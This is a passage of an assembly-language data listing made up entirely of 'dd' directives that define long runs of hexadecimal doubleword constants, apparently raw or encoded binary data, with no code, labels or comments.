		dd 88F82283h, 516AB60Eh, 0C93F8772h, 7EFB64D0h,	395AFE23h
		dd 8E3ABA5h, 2000B5AEh,	66FB5D6Bh, 1EBBDCAAh, 57F1FFE0h
		dd 0A317002Eh, 141B2AC9h, 5C3D18C4h, 90E0391Bh,	21F20F40h
		dd 89C82D33h, 0FB5D23Ah, 0EFB90143h, 0C9A51803h, 38FEDBh
		dd 7E5FB638h, 8D456431h, 0BA999E0Ch, 0C0370865h, 31967A21h
		dd 38009A58h, 0B1D5C23Ah, 2F86E9h, 0A90F2AD7h, 0C4F496F6h
		dd 0FBEA7300h, 9F6A610Bh, 0DBCD58DDh, 85932401h, 0D4E5DA64h
		dd 5D004C15h, 0DB12B448h, 72FA9198h, 0D2F4ECh, 0D42CEF77h
		dd 4EAB169Bh, 0C8B31C03h, 0EFF4225Bh, 0A009C733h, 7E3C484h
		dd 82FDBD86h, 0CD47020h, 26010168h, 10396324h, 91D4D516h
		dd 345B00C5h, 419E2B1Bh, 8E7FB7FBh, 93985607h, 8F13B59Fh
		dd 0B47388F9h, 705100ABh, 5978421Eh, 0AF00CE56h, 7766957Fh
		dd 0F0922Ah, 7175A86Ah,	0B799AA47h, 50FDD303h, 0B0260EB6h
		dd 1584D86h, 0F22A0B82h, 0D129F3BAh, 0FE218027h, 82FB4D8Eh
		dd 0CFEB0B36h, 5280DFE1h, 0AA5FADEDh, 43317407h, 0C9C0E21Fh
		dd 3B6330Bh, 8E0425C4h,	1000260Dh, 8490532Eh, 0EF7797Fh
		dd 0F631B7B3h, 0B921548Ch, 0C6905A00h, 0A8B4EEB1h, 6CC90059h
		dd 0FF5D96EAh, 4406639Ch, 25F98AF0h, 80E3A30h, 0FE76830Ch
		dd 0F0FC611h, 0C0ACC573h, 177509D2h, 65CEE8D3h,	0C73F2032h
		dd 0F20F106Dh, 5C0657B5h, 1B7F3E82h, 1EB0B8h, 0ACB3A484h
		dd 0CCF98D48h, 12D5751Dh, 93A73481h, 8085F170h,	20853377h
		dd 0EF73113Ch, 0D343AC79h, 35211933h, 295373D0h, 0E9BFB900h
		dd 54F02F56h, 64950550h, 0B98A618h, 3408A187h, 77B800A8h
		dd 6FE28175h, 5A615300h, 873CED07h, 5DD70002h, 0EACD7733h
		dd 0B0001175h, 0B440FFEFh, 48B80656h, 78097E37h, 3080677Fh
		dd 9A16DC0Fh, 12088607h, 75F0AABBh, 26D19Eh, 1C66DFDDh
		dd 896A4C40h, 0EB1F8E7Dh, 0E7409D3Eh, 42D826A7h, 16BE005Bh
		dd 9901DA6Ch, 0DB29B961h, 54C10496h, 43F1CA7Ah,	1980D9F5h
		dd 0DFAC60FBh, 9D0C3D23h, 84D5B6Dh, 8521C016h, 0EE43AC58h
		dd 0BC665A18h, 79A94C51h, 8174A3h, 598BFBF8h, 2921A86h
		dd 0EC618C1Fh, 0FCD209C0h, 3C78B3FAh, 9180CFB9h, 0B8C92182h
		dd 48C0DFA4h, 0AE425EC0h, 17DD1C60h, 0B02D0132h, 0E9283E78h
		dd 4E36E459h, 96209F60h, 0F6ABB70Dh, 820A7B9h, 57CF28F5h
		dd 804490FCh, 0CF7842h,	0B447FEA7h, 1A0816D5h, 9B9C2900h
		dd 77051FD8h, 0AB281DB7h, 984C14A4h, 63C06E88h,	4623D0ACh
		dd 79102255h, 4FAC009Ah, 98EB23D8h, 46020E77h, 36164030h
		dd 0F9080A0h, 60BEA8BAh, 8A81996Ch, 61D6019h, 0FE8CF886h
		dd 0CE8308ADh, 19A02C21h, 3C74A45Ah, 6E89854h, 4D236217h
		dd 3B7E09h, 0E92D7CD6h,	0C2BE0F9Bh, 44A3E731h, 310CBF02h
		dd 0B2800A43h, 2D4A3833h, 0B74A32Ch, 0BB066142h, 5C78290Bh
		dd 883C8C18h, 0E2727611h, 0E51301D7h, 3D0BDF4Dh, 83A7D14Eh
		dd 726A4F21h, 838BA0DAh, 0DED3001Bh, 5CF5E8E5h,	80FDB63Ah
		dd 84CA1129h, 78B20Fh, 0EFFCE583h, 8045A18Bh, 0A09DED2Ah
		dd 0DB090260h, 0F33A3Bh, 0A9910CDh, 0FB905F26h,	544FD10Ah
		dd 4674CC7Fh, 0B3160111h, 0E633AFEBh, 3997F0h, 79778C01h
		dd 62BC11A6h, 8A9F8A74h, 0AC1E5CDFh, 0A6004A50h, 67C7F80h
		dd 0F790760Eh, 0C1388C07h, 2D99636h, 0A07DBE40h, 55C225D8h
		dd 4E4008E5h, 0B38CA269h, 732F21ADh, 0D1345014h, 0F3B602BEh
		dd 191F2B08h, 63938F40h, 4AC3830Eh, 0E6ED20ABh,	90A4D8E7h
		dd 0B076154Ch, 3628C011h, 39C14480h, 0F13FD00h,	27280765h
		dd 0B7E90AD1h, 0E5BE8Bh, 738921D8h, 12502A3Ah, 0A1FC8020h
		dd 3D6EAC88h, 2780D15Eh, 91EB2C90h, 0C23AA666h,	0F0BA3017h
		dd 0F21C741h, 0BB5F2BFFh, 750AFA80h, 58C578B5h,	92C01144h
		dd 9AB28958h, 0BD992E14h, 0CFC0004Fh, 9F387D6Ah, 214508CCh
		dd 0C9D600E7h, 9871AABFh, 9B01D80Bh, 6E40BAD3h,	0AC406792h
		dd 48B0FA13h, 60781CE7h, 1F5DB1DFh, 0F6060170h,	0E6D0F9C8h
		dd 3C821020h, 19DB2699h, 807F033Ah, 0F89D7713h,	16C5351Ah
		dd 78DEE89h, 3A28CAE7h,	218B00F4h, 4A900947h, 0C2F9F737h
		dd 0E56A54E0h, 17D6167Ah, 8C5300BFh, 4D7D0BACh,	89C23D07h
		dd 93C5E4B3h, 6506EC4Fh, 9C02A43Eh, 2FADFFD4h, 0A2CECD83h
		dd 0E461802h, 2201EC4h,	0B4A05315h, 2D2BE6D4h, 149C2728h
		dd 1CC64220h, 609ECD54h, 0F30BA505h, 8C069450h,	0C0C74Ch
		dd 25BFACFFh, 0F76C9BBh, 1FD43F06h, 0C80B5AAh, 669B804Ah
		dd 0F2285F5Ah, 8B54ACB2h, 0F913CD94h, 0D451A2F8h, 0D42B7BCCh
		dd 843EE464h, 0AFC05EC9h, 0F3209162h, 0FE05C9B2h, 5BB70BB8h
		dd 848C8E3Ah, 0BF0E2868h, 822B42EFh, 86101CABh,	370DAE8h
		dd 24C66E3Ah, 5DF8DD61h
		dd 7483D412h, 0F09C496Eh, 8AACC29Eh, 0EF316523h, 0AC599810h
		dd 2900CC7Dh, 944C57E1h, 0B0BB72D0h, 0E2C1044h,	7BE42EB2h
		dd 89B8BA18h, 0DEC1CE42h, 9A5C9100h, 5E00F614h,	9F7B2A5Bh
		dd 89D24Ah, 0B3CA5977h,	634BFE80h, 663D5415h, 0A94005E8h
		dd 23823873h, 9E58C05Dh, 0B08F8A9Ah, 8B8388A8h,	26DBF12Ah
		dd 0C224DFF8h, 58553843h, 24864C6Dh, 1EA9F0C0h,	0AB0390F2h
		dd 9D63FA69h, 5F97C40h,	0EACA9A77h, 49848411h, 548088C8h
		dd 6EBDC5F8h, 0A2214890h, 408449AEh, 19D060AAh,	0F6062362h
		dd 3E009911h, 58EA1989h, 6D01C08Eh, 24503D02h, 0D44EA665h
		dd 0A1CFEC88h, 0B4153E81h, 10057C20h, 0B7083F5h, 0F5BC106Bh
		dd 8050D70Ah, 0B7A30902h, 300535Ah, 0DF5E36A9h,	0BF26BAh
		dd 0F98F8170h, 747246C4h, 6061BCA2h, 0FC7018F6h, 151310B5h
		dd 80AEC84Eh, 3B72684Dh, 0E800068Ah, 3C3AECC0h,	1196692Ah
		dd 9902C8h, 0A4C5403Eh,	1DE8D5F6h, 24F1F8h, 8D45B623h
		dd 41E266F0h, 0FCADB40h, 9E652680h, 0C910E220h,	0D400061Dh
		dd 7D5CC471h, 601E46C0h, 0BF3EB04Dh, 990041D5h,	0ECFF9DFEh
		dd 18E41B14h, 51B82994h, 0E7308EC0h, 0CA4530ABh, 0A0F14844h
		dd 19AA1686h, 5946C092h, 5BC9D002h, 4C31D7C0h, 81A9F211h
		dd 0AB546D9Ch, 68603A8Dh, 0EC9580D7h, 38B26188h, 2D9C0554h
		dd 26D46893h, 4A18CC5Ah, 80AB1128h, 66119D1h, 0B2448CAEh
		dd 0B078B821h, 5AC207E6h, 803FD71Eh, 25F01541h,	6E22C501h
		dd 999D4C1Dh, 609230BEh, 252040C6h, 7D3045F9h, 0BB65D518h
		dd 0F251A1h, 72A57329h,	8786AE8Ah, 5510FC90h, 2C8CBA1Fh
		dd 50986E81h, 0E480AB20h, 0FC6600ECh, 0C9AF7FCDh, 0D0A35D33h
		dd 3F005F8Ch, 5E3ABB6Eh, 1E4009B9h, 0A409BC06h,	0CE4F0401h
		dd 6A84248Dh, 0AC67048Ch, 0CE3523D4h, 5F9E0058h, 3CD70AACh
		dd 9CC10111h, 6B2D0692h, 0E2C3477h, 4B7C7903h, 0A016808Ch
		dd 5C423812h, 0FABC7CC9h, 0B374008Ch, 3C24C9D5h, 9CA48929h
		dd 182EA000h, 646F5573h, 9DA50502h, 90053213h, 0CC598B2Ch
		dd 5EA04805h, 885071AEh, 35B80094h, 0F63640FBh,	0A6138699h
		dd 0E0125833h, 0E888348Bh, 0E415FC0h, 6F9C1B1h,	4095BFF5h
		dd 854C2288h, 5B464CB0h, 75093C4Ch, 703187C0h, 0ABF8104Ah
		dd 84E600C9h, 587139FAh, 0FE024F8Bh, 1E6BEC77h,	65B48492h
		dd 0D884414Bh, 0EDFF4497h, 4FA28881h, 0E7062B00h, 0E830DC4Ch
		dd 0AC018C98h, 96C07062h, 5092873Fh, 0AE9C086Eh, 6619D4C0h
		dd 22D64606h, 8D3A12B6h, 9B8FC19h, 82943BD5h, 1A9427Ch
		dd 0BCBDE795h, 89E517F9h, 1859440h, 0C6A556h, 9CF85B6Ch
		dd 0A31D58BBh, 3C9550Ch, 79E4A992h, 70220121h, 2920F285h
		dd 66BAC4F7h, 13DABF02h, 84C8E67Dh, 4C6297ECh, 5D236EC0h
		dd 52CE4091h, 905E8400h, 0C390545h, 4488E333h, 7C0019A9h
		dd 2A25E96Eh, 7A4951h, 2DE792B0h, 0B99A1E41h, 4B48B490h
		dd 84CF13D8h, 0E0A08021h, 3BE860h, 1B423128h, 8391701Eh
		dd 0A9BEB415h, 861C0098h, 6B84675Ch, 4B1E1790h,	5AE800D8h
		dd 9D7D5BD1h, 83281AFAh, 9B26CC74h, 0C750B077h,	90470321h
		dd 0B7CB5409h, 0D850C8DDh, 0A7921F1Bh, 0E579D0A0h, 886A4C0Dh
		dd 0DEC0ACC8h, 46066419h, 388873E6h, 0A81939F7h, 0FFD50B83h
		dd 59174371h, 3456C2CCh, 93FAE804h, 99B220E3h, 38626030h
		dd 5E2E8EB7h, 1F03B38h,	8CFB1B3Bh, 249503F7h, 78032404h
		dd 2EF24B13h, 672CA8C6h, 0C4FF6CEh, 0A17FF4ECh,	3F27DB90h
		dd 91D03986h, 0C7A5400h, 564765Dh, 0F46CFA13h, 96C4A800h
		dd 0A05AD97Fh, 4F8B1CB4h, 9D1472ACh, 0D8782008h, 0BE308CECh
		dd 2BBE9AEh, 46390083h,	0F4A036Eh, 6402D42Ah, 42224C2Ch
		dd 0C724404Eh, 6D08399h, 924DA315h, 7DC902B8h, 827723F4h
		dd 48488808h, 4FEE54h, 0FF09867Eh, 0E435E276h, 0D485C11Fh
		dd 460E2017h, 0F28A4EE0h, 21C5854h, 4167FDCFh, 40AC815Fh
		dd 3CEE16h, 3DB1DF77h, 0C0D24693h, 0A94D4560h, 97931400h
		dd 0E14CA4ABh, 0AE00176h, 0F45379A7h, 0B5047474h, 38F0B80h
		dd 563D1F25h, 0A7C0D93Bh, 0D43C44B3h, 0C362E0Fh, 41AD1342h
		dd 0F0509D54h, 0E72F74h, 24858649h, 149325B3h, 28000878h
		dd 0C71FEA3Fh, 48BE468Fh, 8500F4ECh, 9D960789h,	2303AA69h
		dd 5A92177Ch, 0D437E841h, 3C801D45h, 3E900096h,	426DFE22h
		dd 0D8CCE8C0h, 1C7F2D4Fh, 4784F951h, 805CAFE7h,	544DF785h
		dd 8A7EB100h, 813A1DD9h, 1758008Ch, 0A5D20D67h,	3B00BFA3h
		dd 0D198E58Fh, 13F5A4Dh, 0B10C1C20h, 0E941E8FFh, 17AD8E4h
		dd 5F51D11Fh, 3A176600h, 3A75588h, 3E1F4A4Bh, 30972507h
		dd 1D7E58F9h, 0B59E39h,	68D3D127h, 5F3CE7h, 96C5FE30h
		dd 12C4F79Ah, 86DDB900h, 0F283AF07h, 0D7CA0EEDh, 0BAE0634Bh
		dd 0E7F787Ch, 0E10009EAh, 0F09F22D6h, 0FAF97B36h, 47A70E89h
		dd 4220CD37h, 0A336BC4h, 0A0A8F700h, 0ED9C05BEh, 61FE01D4h
		dd 0C073E76Eh, 28D3F77Ah, 30E5E0CFh, 0DC13337Eh, 0DD001C02h
		dd 0FFC4418Eh, 19230EA3h, 14207805h, 0F93F1A25h, 0C2953D00h
		dd 0C4012245h, 0C734002Dh, 19FD53FCh, 5AF44316h, 0E4BBD601h
		dd 5874AA7Fh, 77EF4F0h,	3D414F85h, 2E380035h, 0CA001AE4h
		dd 653EE4Eh, 604FCE27h,	8C89E97Fh, 0B215E674h, 0E8D050h
		dd 0DB9194B0h, 60971Eh,	1FB198FCh, 8756076Ah, 5F806400h
		dd 5EE1AAA5h, 96D7588Fh, 8C164107h, 8B7650A6h, 13008E1Dh
		dd 0A994703Fh, 1515C80h, 722B0D1Eh, 0C43A8B21h,	20005407h
		dd 256321Dh, 0E60303Bh,	0E4290934h, 16000C2Eh, 0F49B2372h
		dd 664B6B00h, 3057B1Ah,	0D80103D5h, 83BF42A6h, 0D2E9CDC0h
		dd 37FEE800h, 0E3769198h, 52AF0094h, 0F08346D4h, 0B500DCFFh
		dd 0B21D6EA9h, 382AE76h, 4552C012h, 0F807D502h,	6C900722h
		dd 7B741B10h, 791F007Fh, 61173C78h, 0CC983772h,	66396B00h
		dd 70C3E1D8h, 7C3B1D88h, 0F85441C7h, 0C0F4928Ch, 0B2001107h
		dd 0BE1BD38h, 0E5FE8Eh,	48E4A374h, 0F0976AF9h, 0E3CCA900h
		dd 0E60E9158h, 43EB0072h, 0A8429AF3h, 0B315FCA4h, 1C8509Ch
		dd 0BD64A77Ch, 0E3601FCFh, 661C0037h, 46D443Fh,	0B5001B18h
		dd 8B39A072h, 0D7F042h,	3E29D54h, 854AA33Eh, 1222B39h
		dd 3F24328Dh, 77D006D1h, 50C73CF8h, 7B4A4F04h, 9D908882h
		dd 56FFF300h, 0A3DEEE11h, 18D790DBh, 0E0022397h, 0B47DDDA9h
		dd 0C64AE300h, 8F0F76D8h, 0B35A0014h, 0FDF77510h, 9B00E7FFh
		dd 0B65B1FAAh, 0E43EA3h, 4593B0A7h, 0D373144Ch,	86FFF100h
		dd 7DFD6F9Ch, 52CF06EEh, 0F885641Ah, 731406FEh,	0FC7804h
		dd 2FBB777Ch, 0AC69D3h,	330B2A05h, 0EE6B865Eh, 57FA020Fh
		dd 16D8E003h, 90C434B8h, 0E0FB00D0h, 29CDC0CBh,	7300A54Ch
		dd 0E64891D5h, 1A1570Fh, 2575FD80h, 3086EE89h, 0BAF884F0h
		dd 0E1615B00h, 0ED9240C6h, 484D007Ah, 5346CEABh, 0BC00E50Ch
		dd 25375A17h, 0D1D477h,	4E9763C5h, 0DA10AA35h, 0E450C660h
		dd 1F53D74Bh, 80D539CCh, 72B0C2D4h, 0DAF0DDEDh,	0BBEC175Bh
		dd 0FF269900h, 3BA5A1A9h, 0E2475800h, 3D894213h, 6280123h
		dd 8B9C4914h, 0F3B8D7AFh, 1A02DEA9h, 0EBB15BD7h, 9E9880DFh
		dd 1229549h, 43798130h,	30B93DA0h, 3E01B0F9h, 127646D9h
		dd 0F7E8676Ah, 0ED8A00ABh, 0A18C0529h, 0FE022EBEh, 0E8D5D403h
		dd 19BFE0C0h, 826201F2h
		dd 1783925Bh, 6D86E0A3h, 13227500h, 0B1639FA4h,	3A420311h
		dd 8773560Fh, 0B599F5B0h, 4961A700h, 855C5A3Eh,	532201B2h
		dd 1D140F05h, 0D359DC6Fh, 6771AD01h, 0DCCC4C0h,	336DCFCh
		dd 0E8CEEB6Ch, 21C0E2CDh, 8A6F3049h, 0D55564E8h, 8B4A001Dh
		dd 9AD02A24h, 770FA273h, 3379BAB4h, 0C2CE7407h,	4FA3BF77h
		dd 78100119h, 57C9BBE7h, 0A763D4DDh, 788304Ch, 809D0E01h
		dd 0CBC0EA75h, 39302C4h, 8F79B454h, 9807419h, 1C2CB051h
		dd 0B6006C2Eh, 0DFD01FAEh, 0FC5D00A5h, 62573A4h, 0B8A04253h
		dd 0DA013A36h, 668CAE6Fh, 0E8300CABh, 318906Ah,	8623F121h
		dd 77884869h, 82F60A02h, 0FDF43800h, 9BA89C16h,	1813C9Fh
		dd 3CE24380h, 86BD6D39h, 80E12239h, 8AA8A349h, 531C85h
		dd 82109830h, 6CD78406h, 0E5604898h, 0ADB8C828h, 0C5D803D1h
		dd 0EE2A8A95h, 5E6CC08Fh, 65264A39h, 0C028BBCEh, 104CB006h
		dd 718CD8C7h, 9D73B60h,	0FC18530Ch, 0D207ED39h,	836E0238h
		dd 77E33500h, 2E820E7Ah, 73C05E3Dh, 0A2B9D715h,	5BF59200h
		dd 0C7075DC4h, 0C9A90029h, 0A1EF503Ch, 5100AAF3h, 0BB1D3B2Ah
		dd 576FC06h, 0ECE27D19h, 0D465C152h, 0DC14C49Eh, 4264E50Fh
		dd 0BF84C07Ch, 0E220FAFh, 65583CE6h, 0A1D79180h, 5B0178C5h
		dd 43C9D54Eh, 0DF206419h, 34A20230h, 0D7F3BFE7h, 7976A580h
		dd 1200061Eh, 7717B489h, 4C5966h, 0A59F50BFh, 0DB6BC3F7h
		dd 0D95B911Fh, 0F03C5D00h, 9C2A996h, 55B3049Fh,	49016A0Bh
		dd 0C4EC5AD8h, 18006447h, 1B15A7D0h, 0F85E22E8h, 4E590021h
		dd 0B8F08F0Ah, 10038B37h, 0FA8D0D95h, 26C0C86Eh, 7B8A1EFCh
		dd 0DFC9C3C2h, 53D07750h, 7F0044C7h, 4AC1F321h,	0DDD56Ch
		dd 0EE7E2AC8h, 0D789925Ah, 8B4D5801h, 3108A1F2h, 1E1EBFF4h
		dd 89454E2Dh, 50003EF5h, 825AE64Fh, 0EE889400h,	0C6908CD5h
		dd 0A3A4247Dh, 1C2E3947h, 0B9698554h, 671C9172h, 75CEF882h
		dd 0A104AC00h, 30ED029h, 0D7A90924h, 0BC02AB60h, 0AA81E0ECh
		dd 874E33BCh, 81F2C810h, 704D62CEh, 12DC686Bh, 0B1DA00FBh
		dd 0B0AA393Bh, 752838B3h, 0EC00105Ah, 33A7F3D8h, 192E12h
		dd 6D4FAB9h, 86303821h,	0E86E4700h, 0F35C7F2Fh,	0D9123A13h
		dd 29683303h, 0E90E3784h, 60F0DAAEh, 34DFD461h,	8D250ABh
		dd 0D6FC1B47h, 11F8A095h, 2960D999h, 0ABBEA890h, 273E00D8h
		dd 0C24FFE1Eh, 9B00B1A3h, 8547483Fh, 14D2310h, 8D8B0316h
		dd 309673CCh, 563F2104h, 0BEDD00DCh, 0F4D8E41Ah, 28630002h
		dd 0C407679h, 0DB002185h, 5F326EBDh, 0DA37FCh, 0FCF9AFEh
		dd 3546E6C8h, 42E3EC00h, 0E5CCF5C7h, 0F90A01CAh, 0BE527A2Ch
		dd 87B6C433h, 0AA782E00h, 64DEAFF3h, 26C428B1h,	44B0092h
		dd 25F942Dh, 56000889h,	10E5C1Dh, 4176DAh, 4722E1E8h, 353CA3A2h
		dd 9DD45D05h, 0BC409257h, 840C169Fh, 0A82850ECh, 81862E4h
		dd 0AC68D4D7h, 0C7000C2Fh, 21956553h, 4843FAh, 5E8DCC3Bh
		dd 3DCE7847h, 566159C4h, 0C80CAA30h, 1108E323h,	232100AEh
		dd 451ACF0Ch, 0E43A17DBh, 56C4ED9h, 53BE3E03h, 68000CDBh
		dd 857ED39Bh, 0B1A8AFh,	21BC7BEEh, 1072AD84h, 50F3400Ch
		dd 0E7F597Eh, 0DFEA8573h, 0ADB34160h, 0D004F7E7h, 3157287Eh
		dd 680D1490h, 0B0A80099h, 0AFD23873h, 0C2E8392Bh, 0F24F68C0h
		dd 79C9947h, 13194B18h,	0ED54022Dh, 2B59D501h, 0F8294998h
		dd 7400AF48h, 0FA353EE0h, 90623A94h, 5BCB01F4h,	0F9920D41h
		dd 0EE93C0EDh, 505A3627h, 13A07568h, 948EB7h, 9BC4F135h
		dd 452EB50Ch, 0E80FACDAh, 1706A007h, 0B17DE1h, 0CFBB6A1Eh
		dd 0ED16DEDh, 43FE0B04h, 1CC0381Bh, 7ECDDEh, 68A816FAh
		dd 0F073558Fh, 4F6D1700h, 0AD85C426h, 9E6A075Fh, 1070114Eh
		dd 4AFC2707h, 0F5AA600h, 0EF0CD4CBh, 3E423C48h,	7EE5330Ch
		dd 0F9EB6110h, 0C69DC1E6h, 45FD160h, 0C0ECDA04h, 47C0DEBAh
		dd 0F8FB9EA3h, 0F5A030A1h, 0F13F9069h, 1B83693Ah, 0E12073EFh
		dd 0FAEC8CDAh, 0B0431ECCh, 94EA80F7h, 4DDF2DB6h, 29CB6306h
		dd 519DA7h, 0CAF14498h,	0F288A3DEh, 15DC4600h, 60977192h
		dd 60A17F02h, 0F2707181h, 0D9005098h, 0BADFF721h, 184EDDACh
		dd 51A5EA7Eh, 900EBB0Fh, 48EC8Bh, 0C4ABE3D2h, 37A27C4Eh
		dd 2F06F7Ch, 988071AAh,	0D91E586Ah, 0CF5EB601h,	4CEF2397h
		dd 12F1C980h, 8C7B6EE7h, 15EE4A00h, 0FCDD601Ch,	0F6917C30h
		dd 0EDE40246h, 0BA98E785h, 0F77EDB80h, 1019DBB5h, 0AE9880FEh
		dd 95AF1F10h, 4C85E60h,	58EE0Eh, 0F68082D2h, 6320C7F1h
		dd 76CD9C03h, 0D75F45AFh, 0FCA834D0h, 0E3970374h, 7595DA96h
		dd 905C1FF8h, 8CC41300h, 5969EE14h, 2348003Dh, 5BA53CF4h
		dd 0DD3C9C87h, 4EB901A1h, 41E17C97h, 218089D1h,	47DD94B2h
		dd 22E0E70Fh, 17AFAA00h, 0F2F6BCD4h, 0C8F40F69h, 4E21E193h
		dd 0ED946C14h, 0A732F0F7h, 0D531FB1Fh, 0E7C8803Bh, 4C5B733Ch
		dd 0C09C742Bh, 27184510h, 1F26179Bh, 5719B794h,	218F8908h
		dd 3960305Eh, 2EB9E061h, 0C83FD000h, 0B03E1437h, 612F6DA7h
		dd 0BD3002A8h, 40E05F32h, 9357A717h, 1D671E30h,	0B60CA9C0h
		dd 67A4A29h, 0FACBB9B4h, 0A500206Fh, 0C7AEB247h, 39502EAh
		dd 70F5086Bh, 0F0074C06h, 981D424Dh, 247F4850h,	3B59C091h
		dd 0E8FE5058h, 81A5B00Bh, 0D93883AFh, 0A9E0875Dh, 0E013B963h
		dd 694660F6h, 8BA1DEECh, 0D227BD00h, 9D833A60h,	11EE2Eh
		dd 1CBBA9F6h, 0FAC92DD5h, 0F91A5E34h, 4623782Eh, 0B365DD00h
		dd 0C790203h, 432BC0EFh, 0A206B2C0h, 0A6EC7D42h, 0E2C90F10h
		dd 0F4C0E955h, 0C1145A65h, 195FC3Ah, 0DEB76DACh, 82C09C16h
		dd 21010164h, 5B7FEDE1h, 0F51DE013h, 51B8100Fh,	4E252067h
		dd 57B3FCh, 5248FBD1h, 0C14CA65Eh, 207ACE00h, 33554B82h
		dd 68736Eh, 0F4B77F3Bh,	0BAF5AEC2h, 670094B0h, 41B3FA60h
		dd 778BCAECh, 0C95C0338h, 15B87237h, 0CF96798h,	7F4D2203h
		dd 88B3BF0Dh, 0ABBAF1h,	1D6CA4ADh, 696BD536h, 0E13DBCF6h
		dd 3EA8F4Dh, 0ED34C731h, 5EFE25A0h, 0B5F3009Ah,	43827481h
		dd 0E5052F0Fh, 99D2A30Eh, 82AB3C0h, 0F058E0E1h,	957F06h
		dd 74844D82h, 5EF739FCh, 7D348900h, 32368C9h, 0B5D00D7h
		dd 539AC2F0h, 4014DFBFh, 0CE61CFh, 0F8F28AF6h, 7303B9h
		dd 5BEAA98Dh, 6FA1A334h, 5AA49500h, 8C46FEA5h, 2C230083h
		dd 0A0C47065h, 0CC00B760h, 28745240h, 3E7D03h, 0C7A87EEEh
		dd 36A5ECF4h, 86348807h, 0E00EE038h, 5B2D2F1Ch,	0D55D0ED6h
		dd 0C2C2F3EBh, 0C0DDBB16h, 1AD1848h, 0FFC59FCEh, 8089142Fh
		dd 0E3A8B59h, 0BF3A575h, 33AFED0Bh, 847C2800h, 510020A7h
		dd 505D6A03h, 70B4F78h,	0EFF74B04h, 0D921C00Ch,	9500DD12h
		dd 0A501EA68h, 1F96303Ah, 1E8DE32Bh, 94CC4008h,	0A6D07088h
		dd 3B64164Ch, 0A35F0030h, 6AD8F6BFh, 60DB0052h,	0CC7779E4h
		dd 21014989h, 5A0FF38Eh, 1180DCB0h, 0D68B0954h,	371E3DE5h
		dd 5DC913DFh, 0DA002051h, 1D86DED8h, 40FD66B2h,	1A4C4A81h
		dd 177070F0h, 83407D01h, 0B4386DD0h, 390635DCh,	4E00DD8Eh
		dd 0D366DB33h, 1600F1B2h, 4445CB42h, 0F692C5Ah,	0AF6589FDh
		dd 978805h, 3EF83DDEh, 0BB0E8BEDh, 79B662Ch, 0C0BEC5DFh
		dd 0D3A6E0Ah, 7DAF006Dh, 874ABD3Dh, 7A3DBFEDh, 0A09C0711h
		dd 32F0748Bh, 3FAB1F78h, 2A01A6D6h, 476520Fh, 396EE892h
		dd 2B3F001h
		dd 8CBFC654h, 5925F8h, 0B98E26C5h, 474DB2ECh, 0A1CC1E00h
		dd 798163DDh, 7552076Bh, 9778E8h, 34C0E6Dh, 36E20700h
		dd 0F6021B7Ah, 0F5D70090h, 3526EAE0h, 0E7286DAh, 0A646C438h
		dd 50173C87h, 0ACC500FFh, 0B2811C5Ah, 0DF0068E8h, 1B44CE0Ch
		dd 0C485E5h, 8E4D38B0h,	3C1601CCh, 8A20F01h, 18B9A36Dh
		dd 9CD8F0h, 521F482h, 0D4E0658Ah, 9117F500h, 0EB122C89h
		dd 165B00D0h, 8637EF8Bh, 33008CB7h, 6D365311h, 318107h
		dd 95B5E6B8h, 7371D60Ah, 8027133Bh, 6D55DBC4h, 0B24E3h
		dd 2A1841B2h, 0A3313EDFh, 0C85E6000h, 7116B8A4h, 28B0739Ch
		dd 84351Ah, 0D3B43699h,	3C4B93CFh, 0CEF5C600h, 428C868Bh
		dd 0ADAA00EEh, 218AFCF3h, 594887EDh, 16100F4h, 529574C9h
		dd 0D49F0071h, 65C7CA7Eh, 0AF3CC640h, 208401C0h, 0E08296A0h
		dd 284848FEh, 3D9F07C3h, 5CDA88h, 1F18F9B2h, 0D9009CEEh
		dd 81966071h, 3A3087EBh, 180FA75h, 2BE18D4h, 0DC001CB1h
		dd 0E3B9E81Ah, 0E090B7BAh, 600800C3h, 0CB104FADh, 0DF020238h
		dd 658CB252h, 0E4E8432Eh, 75E87480h, 61253C5Eh,	11A4080h
		dd 176BC365h, 9E4D5570h, 0F3830260h, 2A32AEh, 0A666E83Eh
		dd 1B68B900h, 19BF581Ah, 0F55A24F6h, 26560086h,	0F06B57E2h
		dd 7DA0BB13h, 3FA82800h, 2EE61C7h, 39C48923h, 28C0104Ah
		dd 1848434Dh, 9AFB0095h, 654B348Fh, 4F7C0CFDh, 83A8DCE2h
		dd 70039B07h, 0E7545791h, 58935CC1h, 0A8C770h, 181BC435h
		dd 0C2405FBBh, 89167C00h, 8E051C24h, 2C31D44Fh,	509FD800h
		dd 19712B6Ch, 21E458h, 0C599342Ch, 28E0E56Eh, 1CF0A481h
		dd 4E1540D5h, 0B5404B1Fh, 8A844F3Ah, 0DC9D0E00h, 0D5BEE6F2h
		dd 387B0009h, 307A07C9h, 9100C001h, 88C32A28h, 38C8195Dh
		dd 0B500AA89h, 0EE12DE1Ah, 293FAC18h, 0FCD40038h, 0FECA14FBh
		dd 4D8F03E9h, 0DC32B95Fh, 0A43080BCh, 0D701416Dh, 2FF921Fh
		dd 34F48ABBh, 599618FCh, 0F42CA9D1h, 66D818A3h,	5A3A0371h
		dd 5F4A022Eh, 0A4DA324Bh, 6200B328h, 0EA1189FEh, 0F0315E8h
		dd 13BE55A6h, 0DB3AE0DAh, 9FA512E9h, 11744798h,	9B2CC38Ah
		dd 487C1EA3h, 6F15E20Dh, 389D2167h, 0B7F6C326h,	2BB1BB47h
		dd 59204610h, 0CD118A0Ah, 19860CA5h, 511F2Dh, 22B8CF9Fh
		dd 0E8C631B3h, 0DB73Bh,	8535DABDh, 3EA6A1Fh, 0F18263DEh
		dd 0BAC8A783h, 4B1E10DDh, 1B4027D4h, 0FAEA6535h, 9A850064h
		dd 6AA034FBh, 0C90016AAh, 2614016Bh, 0DE2CB7h, 0D007C1F6h
		dd 83CED8D3h, 1B613Ah, 0D7F872D9h, 1E0DA571h, 4048FCEFh
		dd 5C3EDEABh, 0EB00E8D4h, 3F05D550h, 5B1545h, 4BE258F2h
		dd 6420E3F4h, 0CCFD6D00h, 62CCD4Ah, 0C2E61E0Dh,	6E494E09h
		dd 4D7842E0h, 8C55261Ch, 0D2C1D980h, 50337D00h,	0FA3C2CF7h
		dd 7CAF0092h, 5DBF0E7Eh, 0EA01B801h, 1C2EA5C5h,	0C871834h
		dd 1722A6E2h, 0FB0CC211h, 51F026BCh, 0ACCD28BFh, 0EAA002ACh
		dd 2EDBBE6Bh, 36F141E0h, 0B51E1200h, 940381EBh,	0D65E15AAh
		dd 5800C407h, 483FEC37h, 9FEC8B65h, 3D3EFD00h, 4F7B8630h
